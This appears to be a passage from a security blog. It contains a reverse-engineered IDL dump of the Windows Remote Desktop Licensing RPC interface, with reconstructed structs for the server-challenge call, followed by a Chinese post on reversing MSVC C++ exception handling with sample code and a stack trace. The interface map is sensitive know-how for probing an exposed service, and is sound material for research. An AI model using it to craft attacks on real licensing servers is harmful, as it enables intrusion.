        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_1,
        [in][out]/*[range(0,256)] */long* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc5_TLSRpcGetServerScope(
        [in][context_handle] void* arg_0,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_1,
        [in][out]/*[range(0,256)] */long* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc6_TLSRpcGetInfo(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [out]long* arg_3,
        [out][ref]/*[range(0,0)]*/ byte** arg_4,
        [out]long* arg_5,
        [out][ref]/*[range(0,0)]*/ byte** arg_6,
        [in][out]long* arg_7);

    error_status_t Proc7_TLSRpcIssuePlatformChallenge(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [out]long* arg_2,
        [out]long* arg_3,
        [out][ref]/*[range(0,0)]*/ byte** arg_4,
        [in][out]long* arg_5);

    error_status_t Proc8_TLSRpcRequestNewLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][string] wchar_t* arg_3,
        [in][string] wchar_t* arg_4,
        [in][range(0, 16384)] long arg_5,
        [in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte* arg_6,
        [in]long arg_7,
        [out]long* arg_8,
        [out][ref][size_is(, *arg_8)]/*[range(0,0)]*/ byte** arg_9,
        [in][out]long* arg_10);

    error_status_t Proc9_TLSRpcUpgradeLicense(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in]long arg_2,
        [in]long arg_3,
        [in][ref][size_is(arg_3)]/*[range(0,0)]*/ byte* arg_4,
        [in][range(0, 16384)] long arg_5,
        [in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte* arg_6,
        [out]long* arg_7,
        [out][ref]/*[range(0,0)]*/ byte** arg_8,
        [in][out]long* arg_9);

    error_status_t Proc10_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [in]char* arg_2,
        [in][out]long* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc11_TLSRpcGetLastError(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,256)] */long* arg_1,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc12_TLSRpcKeyPackEnumBegin(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in]char* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc13_TLSRpcKeyPackEnumNext(
        [in][context_handle] void* arg_0,
        [out]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc14_TLSRpcKeyPackEnumEnd(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1);

    error_status_t Proc15_TLSRpcKeyPackAdd(
        [in][context_handle] void* arg_0,
        [in][out]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc16_TLSRpcKeyPackSetStatus(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc17_TLSRpcLicenseEnumBegin(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in]char* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc18_TLSRpcLicenseEnumNext(
        [in][context_handle] void* arg_0,
        [out]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc19_TLSRpcLicenseEnumEnd(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1);

    error_status_t Proc20_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc21_TLSRpcGetAvailableLicenses(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [out]long* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc22_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [out][ref] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,0)]*/  /*  */ char** arg_2,
        [in][out]long* arg_3);

    error_status_t Proc23_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [out][ref] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,0)]*/  /*  */ char** arg_2,
        [in][out]long* arg_3);

    error_status_t Proc24_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in][out]long* arg_3);

    error_status_t Proc25_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in]long arg_3,
        [in][out]long* arg_4);

    error_status_t Proc26_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char arg_2,
        [in]char arg_3,
        [in]long arg_4,
        [in][out]char* arg_5,
        [in][out]long* arg_6);

    error_status_t Proc27_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [in][string] wchar_t* arg_2,
        [in][string] wchar_t* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc28_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [in][string] wchar_t* arg_2,
        [in][range(0, 16384)] long arg_3,
        [in][ref][size_is(arg_3)]/*[range(0,16384)]*/ byte* arg_4,
        [in][out]char* arg_5,
        [in][out]long* arg_6);

    error_status_t Proc29_RdlsJetDBConnection__CleanupKeyPackDescriptions(
        [in][context_handle] void* arg_0);

    error_status_t Proc30_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc31_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc32_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][out]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc33_RdlsJetDBConnection__CleanupKeyPackDescriptions(
        [in][context_handle] void* arg_0);

    error_status_t Proc34_TLSRpcRequestTermServCert(
        [in][context_handle] void* arg_0,
        [in][ref]char* arg_1,
        [in][out]long* arg_2,
        [out][ref]/*[range(0,0)]*/ byte** arg_3,
        [in][out]long* arg_4);

    error_status_t Proc35_TLSRpcRetrieveTermServCert(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,0)]*/ byte* arg_2,
        [in][out]long* arg_3,
        [out][ref]/*[range(0,0)]*/ byte** arg_4,
        [in][out]long* arg_5);

    error_status_t Proc36_TLSRpcInstallCertificate(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in][range(0, 16384)] long arg_3,
        [in][ref][size_is(arg_3)]/*[range(0,16384)]*/ byte* arg_4,
        [in][range(0, 16384)] long arg_5,
        [in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte* arg_6,
        [in][out]long* arg_7);

    error_status_t Proc37_TLSRpcGetServerCertificate(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [out][ref]/*[range(0,0)]*/ byte** arg_2,
        [out]long* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc38_TLSRpcRegisterLicenseKeyPack(
        [in][context_handle] void* arg_0,
        [in][ref][size_is(arg_2)]/*[range(0,0)]*/ byte* arg_1,
        [in]long arg_2,
        [in][ref][size_is(arg_4)]/*[range(0,0)]*/ byte* arg_3,
        [in]long arg_4,
        [in][ref][size_is(arg_6)]/*[range(0,0)]*/ byte* arg_5,
        [in]long arg_6,
        [in][out]long* arg_7);

    error_status_t Proc39_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in][out]long* arg_2,
        [out][ref]/*[range(0,0)]*/ byte** arg_3,
        [in][out]long* arg_4);

    error_status_t Proc40_TLSRpcAnnounceServer(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][string] wchar_t* arg_3,
        [in][string] wchar_t* arg_4,
        [in][string] wchar_t* arg_5,
        [in][out]long* arg_6);

    error_status_t Proc41_TLSRpcLookupServer(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_2,
        [in][out]/*[range(0,256)] */long* arg_3,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_4,
        [in][out]/*[range(0,256)] */long* arg_5,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_6,
        [in][out]/*[range(0,256)] */long* arg_7,
        [in][out]long* arg_8);

    error_status_t Proc42_TLSRpcAnnounceLicensePack(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc43_TLSRpcReturnLicensedProduct(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in][out]long* arg_2);

    struct uknow1 {
        int f1;
        int f2;
        int f3;
        int f4;
        [size_is(f3)] unsigned char* buff;
        int f18;
        int f1c;
        [size_is(f18)] unsigned char* buff2;
    };

    struct uknow2 {
        int f1;
        int size;
        [size_is(size)]char* buff;
        int size2;
        [size_is(size2)]char* buff2;
        int f1c;// pad
    };
    error_status_t Proc44_TLSRpcChallengeServer(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]struct uknow1* arg_2,
        [out][ref]struct uknow2** arg_3,
        [out][ref]struct uknow1** arg_4,
        [in][out]long* arg_5);

    error_status_t Proc45_TLSRpcResponseServerChallenge(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc46_TLSRpcGetTlsPrivateData(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in][ref]char* arg_2,
        [out]long* arg_3,
        [out][ref] char** arg_4,
        [out]long* arg_5);

    error_status_t Proc47_TLSRpcSetTlsPrivateData(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in][ref]char* arg_2,
        [out]long* arg_3);

    error_status_t Proc48_TLSRpcTriggerReGenKey(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [out]long* arg_2);

    error_status_t Proc49_TLSRpcTelephoneRegisterLKP(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [out]long* arg_3);

    error_status_t Proc50_TLSRpcAllocateInternetLicense(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][string] wchar_t* arg_3,
        [in][string] wchar_t* arg_4,
        [in][range(0, 16384)] long arg_5,
        [in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte* arg_6,
        [out]long* arg_7,
        [out][ref]/*[range(0,0)]*/ byte** arg_8,
        [in][out]long* arg_9);

    error_status_t Proc51_TLSRpcAllocateInternetLicenseEx(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]char* arg_2,
        [in][string] wchar_t* arg_3,
        [in][string] wchar_t* arg_4,
        [in][range(0, 16384)] long arg_5,
        [in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte* arg_6,
        [out]char* arg_7,
        [out]long* arg_8);

    error_status_t Proc52_TLSRpcReturnInternetLicenseEx(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in]char* arg_2,
        [in]long arg_3,
        [in][out]long* arg_4);

    error_status_t Proc53_TLSRpcReturnInternetLicense(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc54_TLSRpcRequestNewLicenseEx(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]long arg_2,
        [in]char* arg_3,
        [in][string] wchar_t* arg_4,
        [in][string] wchar_t* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [in]long arg_9,
        [out]long* arg_10,
        [out][ref]/*[range(0,0)]*/ byte** arg_11,
        [in][out]long* arg_12);

    error_status_t Proc55_TLSRpcUpgradeLicenseEx(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]char* arg_2,
        [in]long arg_3,
        [in]long arg_4,
        [in][ref][size_is(arg_4)]/*[range(0,0)]*/ byte* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [out]long* arg_9,
        [out][ref]/*[range(0,0)]*/ byte** arg_10,
        [in][out]long* arg_11);

    error_status_t Proc56_TLSRpcMarkLicense(
        [in][context_handle] void* arg_0,
        [in]char arg_1,
        [in][range(0, 16384)] long arg_2,
        [in][ref][size_is(arg_2)]/*[range(0,16384)]*/ byte* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc57_TLSRpcCheckLicenseMark(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [out]char* arg_3,
        [in][out]long* arg_4);

    error_status_t Proc58_TLSRpcGetSupportFlags(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc59_TLSRpcRequestNewLicenseExEx(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]long arg_2,
        [in]char* arg_3,
        [in][string] wchar_t* arg_4,
        [in][string] wchar_t* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [in]long arg_9,
        [in][out]long* arg_10,
        [out]long* arg_11,
        [out][ref]/*[range(0,0)]*/ byte** arg_12,
        [in][out]long* arg_13);

    error_status_t Proc60_TLSRpcGetServerNameEx(
        [in][context_handle] void* arg_0,
        [in][out][string]/*[range(0,256)]*/  wchar_t* arg_1,
        [in][out]/*[range(0,256)] */long* arg_2,
        [in][out]long* arg_3);

    error_status_t Proc61_TLSRpcLicenseEnumNextEx(
        [in][context_handle] void* arg_0,
        [out]char* arg_1,
        [in][out]long* arg_2);

    error_status_t Proc62_TLSRpcGenerateCustomerCert(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_2)]/*[range(0,0)]*/  /*  */ char arg_3[],
        [out]long* arg_4,
        [out][ref]/*[range(0,0)]*/ byte** arg_5,
        [out]long* arg_6);

    error_status_t Proc63_TLSRpcGetServerNameFixed(
        [in][context_handle] void* arg_0,
        [out][ref][string] wchar_t** arg_1,
        [in][out]long* arg_2);

    error_status_t Proc64_TLSRpcGetServerScopeFixed(
        [in][context_handle] void* arg_0,
        [out][ref][string] wchar_t** arg_1,
        [in][out]long* arg_2);

    error_status_t Proc65_TLSRpcGetLastErrorFixed(
        [in][context_handle] void* arg_0,
        [out][ref][string] wchar_t** arg_1,
        [in][out]long* arg_2);

    error_status_t Proc66_TLSRpcLookupServerFixed(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [out][ref][string] wchar_t** arg_2,
        [out][ref][string] wchar_t** arg_3,
        [out][ref][string] wchar_t** arg_4,
        [in][out]long* arg_5);

    error_status_t Proc67_TLSRpcTriggerReGenKeyNoWarning(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [out]long* arg_2);

    error_status_t Proc68_TLSRpcIssuePerUserLicense(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]char* arg_2,
        [in][string] wchar_t* arg_3,
        [in][string] wchar_t* arg_4,
        [in][string] wchar_t* arg_5,
        [in][out]long* arg_6);

    error_status_t Proc69_TLSRpcReportEnumBegin(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc70_TLSRpcReportEnumNext(
        [in][context_handle] void* arg_0,
        [out]char* arg_1,
        [out]long* arg_2);

    error_status_t Proc71_TLSRpcReportEnumEnd(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc72_TLSRpcFetchReportBegin(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in]long arg_2,
        [out]long* arg_3);

    error_status_t Proc73_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out]/*[range(0,16384)]*/ char *arg_2,
        [out]long* arg_3);

    error_status_t Proc74_TLSRpcFetchReportEnd(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc75_TLSRpcReportGenerateBegin(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in][string] wchar_t* arg_2,
        [in]long arg_3,
        [out]char* arg_4,
        [out]long* arg_5);

    error_status_t Proc76_TLSRpcReportGenerateCancel(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc77_TLSRpcReportDelete(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [out]long* arg_2);

    error_status_t Proc78_TLSRpcIsFreeKeyPackInstalled(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc79_TLSRpcIsServerInDomain(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc80_TLSRpcRevokeLicense(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [out]long* arg_2,
        [out]long* arg_3,
        [out]char* arg_4,
        [out]long* arg_5);

    error_status_t Proc81_TLSRpcIsLSPublished(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc82_TLSRpcPublishLS(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc83_TLSRpcUnpublishLS(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc84_TLSRpcChangeRole(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [out]long* arg_2);

    error_status_t Proc85_TLSRpcIsGPEnabled(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc86_TLSRpcLocalGroupForGPPresent(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc87_TLSRpcCreateLocalGroupForGP(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc88_TLSRpcRemoveLocalGroupForGP(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc89_TLSRpcCanLSUpdateAD(
        [in][context_handle] void* arg_0,
        [in][string] wchar_t* arg_1,
        [out]long* arg_2,
        [out]long* arg_3);

    error_status_t Proc90_TLSRpcAddLStoTSLSofDC(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc91_TLSRpcRemoveLSFromTSLSOfAD(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc92_TLSRpcIsLSonDC(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc93_TLSRpcDatabasePath(
        [in][context_handle] void* arg_0,
        [in][out][string]/*[range(0,512)]*/  wchar_t* arg_1,
        [in][out]/*[range(0,512)] */long* arg_2,
        [out]long* arg_3);

    error_status_t Proc94_TLSRpcIsUserAdmin(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc95_TLSRpcIsPreventUpgGPEnabled(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc96_TLSRpcUpgradeLicenseWithMarkExEx(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]char* arg_2,
        [in]long arg_3,
        [in]long arg_4,
        [in][ref][size_is(arg_4)]/*[range(0,0)]*/ byte* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [out]long* arg_9,
        [out][ref]/*[range(0,0)]*/ byte** arg_10,
        [in][out]long* arg_11,
        [out]long* arg_12);

    error_status_t Proc97_TLSRpcRegisterToSCP(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc98_TLSRpcUnRegisterFromSCP(
        [in][context_handle] void* arg_0,
        [out]long* arg_1);

    error_status_t Proc99_TLSRpcIsSCPRegistered(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc100_TLSRpcAllocateConcurrentLicense(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out]/*[range(0,16384)]*/ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc101_TLSRpcRegisterLicenseKeyPackEx(
        [in][context_handle] void* arg_0,
        [in][ref][size_is(arg_2)]/*[range(0,0)]*/ byte* arg_1,
        [in]long arg_2,
        [in][ref][size_is(arg_4)]/*[range(0,0)]*/ byte* arg_3,
        [in]long arg_4,
        [in][ref][size_is(arg_6)]/*[range(0,0)]*/ byte* arg_5,
        [in]long arg_6,
        [out]char* arg_7,
        [out]long* arg_8);

    error_status_t Proc102_TLSRpcTelephoneRegisterLKPEx(
        [in][context_handle] void* arg_0,
        [in][range(0, 16384)] long arg_1,
        [in][ref][size_is(arg_1)]/*[range(0,16384)]*/ byte* arg_2,
        [out]char* arg_3,
        [out]long* arg_4);

    error_status_t Proc103_TLSRpcUnRegisterLicenses(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [in]long arg_2,
        [out]long* arg_3);

    error_status_t Proc104_TLSRpcGetOSVersion(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1);

    error_status_t Proc105_TLSRpcLogEvent(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [in][string] wchar_t* arg_3);

    error_status_t Proc106_TLSRpcUpgradeLicenseV4(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]char* arg_2,
        [in]long arg_3,
        [in]long arg_4,
        [in][ref][size_is(arg_4)]/*[range(0,0)]*/ byte* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [out]long* arg_9,
        [out][ref]/*[range(0,0)]*/ byte** arg_10,
        [in][out]long* arg_11,
        [in][string][size_is(33)]/*[range(0,0)]*/  wchar_t* arg_12,
        [out]long* arg_13);

    error_status_t Proc107_TLSRequestNewLicense(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]long arg_2,
        [in]char* arg_3,
        [in][string] wchar_t* arg_4,
        [in][string] wchar_t* arg_5,
        [in][range(0, 16384)] long arg_6,
        [in][ref][size_is(arg_6)]/*[range(0,16384)]*/ byte* arg_7,
        [in]long arg_8,
        [in]long arg_9,
        [in][out]long* arg_10,
        [out]long* arg_11,
        [out][ref]/*[range(0,0)]*/ byte** arg_12,
        [in][out]long* arg_13,
        [in]long arg_14);

    error_status_t Proc108_TLSRpcGetCHIDsForSupportedCALs(
        [in][context_handle] void* arg_0,
        [out]/*[range(0,16384)] */long* arg_1,
        [out][ref] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,16384)]*/  /*  */[string] wchar_t*** arg_2,
        [out]long* arg_3);

    error_status_t Proc109_TLSRpcGetCHIDsForSupportedCALsDelimited(
        [in][context_handle] void* arg_0,
        [out]/*[range(0,16384)] */long* arg_1,
        [out][ref][string] wchar_t** arg_2,
        [out]long* arg_3);

    error_status_t Proc110_TLSRpcGetSupportedFeatures(
        [in][context_handle] void* arg_0,
        [out]long* arg_1,
        [out]long* arg_2);

    error_status_t Proc111_TLSRpcFetchReportNextEx(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,16384)]*/  /*  */ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc112_TLSRpcFetchReportCALInfoNextEx(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,16384)]*/  /*  */ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc113_TLSRpcConvertLicenses(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]long arg_2,
        [out]long* arg_3,
        [out]long* arg_4);

    error_status_t Proc114_TLSRpcFetchReportEntriesDetail(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out]/*[range(0,16384)]*/ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc115_TLSRpcFetchReportFailedPUSummaryEntries(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,16384)]*/  /*  */ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc116_TLSRpcFetchReportNext_PD(
        [in][context_handle] void* arg_0,
        [in][out]/*[range(0,16384)] */long* arg_1,
        [out] /* [DBG] FC_BOGUS_ARRAY */ /*[range(0,16384)]*/  /*  */ char * arg_2,
        [out]long* arg_3);

    error_status_t Proc117_TLSRpcIssuePerUserLicenseEx(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1,
        [in]char* arg_2,
        [in][range(0, 16384)] long arg_3,
        [in][ref][size_is(arg_3)]/*[range(0,16384)]*/ byte* arg_4,
        [in]long arg_5,
        [out]long* arg_6,
        [out][ref]/*[range(0,0)]*/ byte** arg_7,
        [in][string] wchar_t* arg_8,
        [in][string] wchar_t* arg_9,
        [in][string] wchar_t* arg_10,
        [in][out]long* arg_11);

    error_status_t Proc118_TLSRpcConfigHighAvailability(
        [in][context_handle] void* arg_0,
        [in]char* arg_1,
        [out]long* arg_2,
        [out][ref][string]/*[range(0,0)]*/  wchar_t** arg_3,
        [out]long* arg_4);
}

C++ 异常处理的逆向

2024-04-02T08:56:52.718Z

偶尔分析C++的模块, 遇到触发异常操作, 但是不知道它SEH到底干啥了, 所以研究了下MSVC下的c++异常处理到底是怎么回事, 没理解透彻, 但是逆向应该是够用了, 如果有不对之处, 还望指正.

IDA 9 已经支持显示c++的异常处理函数了. 也支持析构函数的显示. 在函数右键”show C++ wind states” 即可. 默认只对当前函数生效, 要对所有生效, 需要保存 global setting里.

C++ try catch

这是一段示例的测试代码:

#include 
#include 
#include 
using namespace std;
#pragma warning("disable":4996)

struct ExceptionA : public exception
{
    ExceptionA(int a, int b) :a(a), b(b) {}
    int a, b;
};

struct ExceptionB : public exception
{
    ExceptionB(int a, int b) {}
};

struct ExceptionC : public exception
{
    ExceptionC(int a, int b) {}
};

class Strobj {
public:
    Strobj() = delete;
    Strobj(char* a) {
        int len = strlen(a);
        str_ = new char[len + 1];
        strcpy_s(str_, len+1, a);
    }
    char* str_ = NULL;
    ~Strobj() {
        if (str_) {
            delete str_;
        }
    }
};

Strobj doThrow(bool doth) {
    int a = 1, b = 2;
    char str[] = "123456";
    Strobj oops(str);
    if (doth)
        throw ExceptionA(a, b);
    return oops;
}

int main()
{
    try
    {
        Strobj a = doThrow(true);
        std::cout << a.str_ << std::endl;
    }
    catch (ExceptionC& e)
    {
        std::cout << "ExceptionC caught" << std::endl;
    }
    catch (ExceptionB& e)
    {
        std::cout << "ExceptionB caught" << std::endl;
    }
    catch (ExceptionA& e)
    {
        std::cout << "ExceptionA caught" << std::endl;
    }
    catch (std::exception& e)
    {

    }
}

这段代码很简单, 就是申请一个对象后触发异常.
正常情况下, 在触发异常后, 它会调用析构函数释放str_, 然后调用异常模块输出 “ExceptionA caught”.

这里简要介绍一下SEH, SEH就是异常捕获流程, 当程序发生异常的时候, 会跳转到最近(指最近的try catch)异常捕获函数, 它可以获取触发异常时的寄存器数据, 通过寄存器就知道触发异常时的原因, 如果能处理, 就修改异常时的rip值来跳转到后续的正常指令流, 如果不能处理就交给下一个SEH handler.

所以如果要知道触发异常后它怎么操作, 就看它注册的seh handler就行. 不过呢, msvc的C++ 对SEH做了封装, 异常由 _CxxThrowException 抛出. 处理会由__GSHandlerCheck_EH4进行简单操作后调用__CxxFrameHandler4进行处理

调试

我们在调试器里对析构函数下断点, 触发断点后, 查看栈回溯, 得到如下:

test.exe!`doThrow'::`1'::dtor$0()
vcruntime140_1d.dll!00007ff990de1030()
vcruntime140_1d.dll!00007ff990de4307()
vcruntime140_1d.dll!00007ff990de66ab()
vcruntime140_1d.dll!00007ff990de2cd2()
vcruntime140_1d.dll!00007ff990de2f5a()
vcruntime140_1d.dll!00007ff990de6dfb()
test.exe!__GSHandlerCheck_EH4(_EXCEPTION_RECORD * ExceptionRecord=0x000000473ff0de60, void * EstablisherFrame=0x000000473ff0f9d0, _CONTEXT * ContextRecord=0x000000473ff0d760, _DISPATCHER_CONTEXT * DispatcherContext=0x000000473ff0dcd0) 行 73
在 D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\gshandlereh4.cpp(73)
ntdll.dll!00007ff9c5bb242f()
ntdll.dll!00007ff9c5b40939()
vcruntime140_1d.dll!00007ff990de6a7f()
vcruntime140_1d.dll!00007ff990de1c1e()
vcruntime140_1d.dll!00007ff990de218b()
vcruntime140_1d.dll!00007ff990de2ec5()
vcruntime140_1d.dll!00007ff990de2f5a()
vcruntime140_1d.dll!00007ff990de6dfb()
